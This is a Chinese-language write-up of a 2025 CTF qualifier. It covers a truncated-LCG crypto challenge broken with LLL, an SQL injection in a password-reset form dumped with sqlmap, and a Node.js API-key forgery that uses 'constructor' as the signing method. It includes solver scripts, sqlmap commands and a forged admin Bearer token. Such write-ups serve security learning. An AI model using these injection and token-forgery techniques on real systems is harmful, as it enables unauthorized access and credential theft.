神盾盃 2025 Qual Writeup - by Whale120

, , , , , ,

Before all

Rank 3 / Team: CakeisTheFake
好久沒跟 Cake 的夥伴一起打 CTF 了，這次大家配合ㄉ好好，決賽一起好好玩耍八 XD
image

這次發揮的蠻穩（？）
責任區的 Web 和 Crypto 都有做出來，雖然我 Crypto 只有做一題用 ChatGPT 幾乎不可解的題目，但我學長 @unicorn 硬花著一下午用 GPT 打完了，但我很快首殺掉了它 :)，感謝 SmileyCTF 前陣子才提醒我這個問題的存在性(x)

就來快速 Writeup 一下吧，其它就是 Web 太簡單（線性調分，三題分數加起來還沒有一個　Pwn/Crypto 高，這樣對嗎www）

喔還有就是，Misc 到底怎麼猜到 ?id=1 可以把 1 換成 /etc/passwd LFI 和什麼泡芙阿姨怪 Stego 題目，Misc 出題者腦洞真的頗大，題目品質落差有點大

其它冷知識，原來這場是中科院辦的

Crypto

Secret In Frame revenge

本場的 Crypto 守台題，其實就是 a-1 和 mod 互質的 Truncated LCG Problem，透過部分 leak 的 bits 完成隨機數預測後直接把結果帶進去 seed 算就可以找出 FLAG 字元打散後的排序

所謂的 Truncated LCG Problem 就是一般的 $x_i \equiv a*x_{i-1}+b\space(mod\space p)$ 的 LCG Problem 做隨機數，但是只給你前幾或後幾 bits，反正就是有資料損耗的一個 case

詳細可以看 或者你只是想 Script Kiddie：
https://crypto.stackexchange.com/questions/37836/problem-with-lll-reduction-on-truncated-lcg-schemes
https://gist.github.com/maple3142/c7c31d2e5893d524e71eb5e12b0278f0

但快速翻譯年糕一下：
首先，先考慮一種降階版的 case，也就是 b = 0 的時候。
這時候我們有 $x_i-x_{i-1}*a \equiv 0 \space (mode \space p)$

於是可以嘗試構造一個 Lattice，它的其中一個解正好就是 {x}
$$
L = \begin{pmatrix}
p & 0 && \dots & 0 \newline
\alpha & -1 &0& \dots & 0 \newline
\alpha^2 & 0 & -1 & \dots & 0 \newline
\vdots &&&\ddots & \vdots \newline
\alpha^{k-1} & 0 & 0 & \dots & -1 \newline
\end{pmatrix}
$$

考慮到 $\mathbf{x}$ 為原本 x 解的向量，同時另 y 為高位 z 為低位
我們考慮 B = LLL(L) 會是某一組(幾乎可說是)最小的線性解，那就可以用如下的推導：

$$
\begin{align}
& L \cdot \mathbf{x} \equiv 0 \pmod{p} \newline
& B \cdot \mathbf{x} \equiv 0 \pmod{p} \newline
& B \cdot \mathbf{x} = p \cdot \mathbf{k} \quad \mbox{( $\mathbf{k}$ 未知)} \newline
& B \cdot (\mathbf{y} + \mathbf{z}) = p \cdot \mathbf{k} \newline
& B \cdot \mathbf{z} = p \cdot \mathbf{k} - B \cdot \mathbf{y}
\end{align}
$$

因為我們知道 B 是小向量，那 k 也必須相對是。
於是我們有，換句話說我們知道 $k_ip$ 超級靠近 $(By)_i$ (因為 z 的量級跟 y 比起相對小很多，它是後面的位元)

取
$$
k_i = \lfloor (B’ \cdot \mathbf{y})_i / p \rceil
$$

然後最後根據上面那條，解個簡單的線性方程就有 z 的結果，我們就成功還原了整個 LCG

接下來，把 b 放回來（不為 0）怎麼辦？
如果 a-1 跟 p 互質

我們可以考慮到變換，把所有的 $x_i$ 都加上 $\frac{b}{a-1}$ 做一個橫移，帶回去原(b=0)式就會發現自然成立了(b!=0) 的原始 case

$$
\begin{align}
& x_i’ = x_i+\frac{b}{a-1} \newline
& a \cdot x_{i-1}’ = a \cdot (x_{i-1}+\frac{b}{a-1})=a \cdot x_{i-1} + b + \frac{b}{a-1} = x_i+\frac{b}{a-1} = x_i’
\end{align}
$$

最後記得移回來

題目 src，原諒我現在還是不會縮排 code ;P 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import getPrime
from flask import Flask, render_template, request
import random
import string

app = Flask(__name__)

frame_count = 6572
frames = [[f'sketch_frames/frame_{i}.png', random.choice(string.ascii_letters)] for i in range(frame_count)]
flag = 'fake_flag'


m = getPrime(128)
a = random.randint(0, m-1)
b = random.randint(0, m-1)
seed = random.randint(0, m-1)
hint = []

for _ in range(20):
    seed = (a * seed + b) % m
    hint.append(seed >> 64)

random.seed((a * seed + b) % m)
flag_position = random.choices(range(frame_count), k=len(flag))
for i, j in enumerate(flag_position):
    frames[j][1] = flag[i]


@app.route('/', methods=['GET', 'POST'])
def home_page():
    try:
        if request.method == 'GET':
            return render_template('index.html', frame=frames[0], idx=0, auto=True)

        idx = request.values['idx']
        if request.values.get('auto'):
            auto = True
        else:
            auto = False
        idx = int(idx) % frame_count
        return render_template('index.html', frame=frames[idx], idx=idx, auto=auto)
    except:
        return render_template('index.html', frame=frames[0], idx=0, auto=True)


@app.route('/hint')
def hint_page():
    return render_template('hint.html', m=m, a=a, b=b, hint=hint)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081)

反正這是我的 Exploit，先去算 LCG，因為 python 和 sage random 實做不太一樣，後面又自己用 python 寫腳本去排 flag 字元順序還原 flag

exp.sage 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def get_L(k):
    M = matrix([m])
    A = matrix([a ** i for i in range(1, k)]).T
    I = matrix.identity(k - 1) * -1
    Z = matrix([0] * (k - 1))
    L = block_matrix([[M, Z], [A, I]])
    return L


def solve_tlcg(ys, s=2 ** 64):
    k = len(ys)
    L = get_L(k)
    B = L.LLL()
    sys = vector(y * s for y in ys)
    sby = B * sys
    ks = vector(round(x) for x in sby / m)
    zs = B.solve_right(ks * m - sby)
    return list(sys + zs)


m = 241559342483081701185852400123429794013
a = 153633328435270940802220186332982823147
b = 132459898486468873482564032845993390988
truncated = [3998721763411970382, 12942857211706214339, 9764401007790508740, 10447004146199345794, 1820214159861546144, 1577607434621179953, 10810462017137043517, 3048014524596104802, 12322648337216621520, 1004463609833776417, 2133158877280348770, 7572815916816663167, 7984141334707625099, 5375421542639259220, 11998994914443344372, 3447231462647858220, 11993291662463289289, 2461427144968108550, 7153310651318146559, 11265256328964572048]

h = (b * inverse_mod(1 - a, m)) % m
print("truncated", truncated)
shifted = [
    (x * 2 ** 64 + 2 ** 63 - h) >> 64 for x in truncated
]
shifted_results = solve_tlcg(shifted)
results = [x + h for x in shifted_results]
print("result", results)
print(f"seed = {(results[-1]*a+b)%m}")

exp.py 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests as req
import random

seed = 234722183038933311376521413109741071427
random.seed(seed)
flag_position = random.choices(range(6572), k=100)
url = 'https://aegis2025-secret-in-frame-revenge.chals.io/'

def parse_flag(id):
    web = req.post(url, data={'idx':id})
    tmp_res = web.text
    #print(tmp_res)
    #print('done:', tmp_res[tmp_res.index('<h1 class="text-light text-center d-none">')+len('<h1 class="text-light text-center d-none">')])
    return tmp_res[tmp_res.index('<h1 class="text-light text-center d-none">')+len('<h1 class="text-light text-center d-none">')]

flag=''

for i in flag_position:
    flag+=parse_flag(i)
    print(flag)

image

Web

這次 web 分數都過低了 = =，明年拜託難一點

Amnesia Dose

戳一下發現 password reset 有 sql injection ???
不過 sqlmap 注一注發現好像不能直接自動化 dump，稍微自己指定了一下 colum，flag 就是 admin 密碼 

1
2
3
4
sqlmap --url 'https://aegis2025-amnesia.chals.io/forgot_password' --data='username=admin' --string 'I have sent the password to' 
sqlmap --url 'https://aegis2025-amnesia.chals.io/forgot_password' --data='username=admin' --string 'I have sent the password to' --tables
sqlmap --url 'https://aegis2025-amnesia.chals.io/forgot_password' --data='username=admin' --string 'I have sent the password to' -T users --dump --dbms=sqlite -C username,password

image

SecureAPI

Nodejs 題，要完成某個 token 的簽名偽造
看關鍵的部分： 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const crypto = require('crypto');

const validators = {
	hmac256: (data, secret) => {
		return crypto.createHmac('sha256', secret).update(data).digest('base64');
	},
	hmac512: (data, secret) => {
		return crypto.createHmac('sha512', secret).update(data).digest('base64');
	},
	sha256: (data, secret) => {
		return crypto.createHash('sha256').update(data + secret).digest('base64');
	}
};

const encodePayload = (obj) => {
	return Buffer.from(JSON.stringify(obj)).toString('base64');
};

const decodePayload = (base64Str) => {
	return JSON.parse(Buffer.from(base64Str, 'base64').toString());
};

const generateApiKey = (method, payload, secret) => {
	const version = 'v1';
	const encodedPayload = encodePayload(payload);

	const validator = validators[method.toLowerCase()];
	if (!validator) {
		throw new Error(`Unsupported validation method: ${method}`);
	}

	const signature = validator(encodedPayload, secret);

	return `SAPI-${version}-${method}-${encodedPayload}-${signature}`;
};

const validateApiKey = (apiKey, secret) => {
	try {
		const parts = apiKey.split('-');
		if (parts.length !== 5 || parts[0] !== 'SAPI') {
			throw new Error('Invalid credential format');
		}

		const [prefix, version, method, encodedPayload, expectedSignature] = parts;

		if (version !== 'v1') {
			throw new Error('Unsupported credential version');
		}

		const validator = validators[method.toLowerCase()];
		if (!validator) {
			throw new Error('Unsupported authentication method');
		}

		const calculatedSignature = validator(encodedPayload, secret);

		const encodedCalculated = encodeURIComponent(calculatedSignature);
		const encodedExpected = encodeURIComponent(expectedSignature);

		if (encodedCalculated !== encodedExpected) {
			throw new Error('Authentication verification failed');
		}

		const payload = decodePayload(encodedPayload);
		return payload;

	} catch (error) {
		throw new Error('Credential validation failed');
	}
};

module.exports = {
	generateApiKey,
	validateApiKey,
	encodePayload,
	decodePayload
};

簡言之它指定了 validators 是一個 map 起來的鍵值對應函數的 call，validateApiKey 函數會把使用者輸入的特定格式 API Key
SAPI-${version}-${method}-${encodedPayload}-${signature}
split 起來後拿輸入的 method 在 validators lower 後當 index 取值並當作函數呼叫，最後比對 signature 和 encodedPayload 用剛剛取出的函數簽名後的結果做比對。

然而，這裡是 javascript，常打 web 的朋友應該都知道像是 prototype pollution 攻擊會利用到的 JS Magic Methods（在 js 底下所有物件都有 __proto__ 指向它的母物件，然後 constructor 是建構子函數）
注意到 constructor，實驗一下就會發現 constructor("input1", "input2", ...) 回傳的字串內容都是 “input1”，因為他嘗試對第一個輸入建立一個函數
所以最後的 Exploit 做法就是，version 指定 1，method 讓它去取 constructor，data 和 signature 塞同一個東西就能過了。
最後就是根據這題寫一下 data （某種 json encoded 內容） 

1
Authorization: Bearer SAPI-v1-constructor-eyJyb2xlIjogImFkbWluIiwgImFwaSI6ICJhZG1pbi9mbGFnIiwgInRpbWVzdGFtcCI6IDE3NTg5NTQwMjU4NjIsICJ1c2VyIjogIndoYWxlMTIwIn0=-eyJyb2xlIjogImFkbWluIiwgImFwaSI6ICJhZG1pbi9mbGFnIiwgInRpbWVzdGFtcCI6IDE3NTg5NTQwMjU4NjIsICJ1c2VyIjogIndoYWxlMTIwIn0=

幫大家 decode 

1
{"role": "admin", "api": "admin/flag", "timestamp": 1758954025862, "user": "whale120"}

image

After all

我該睡了掰掰 XD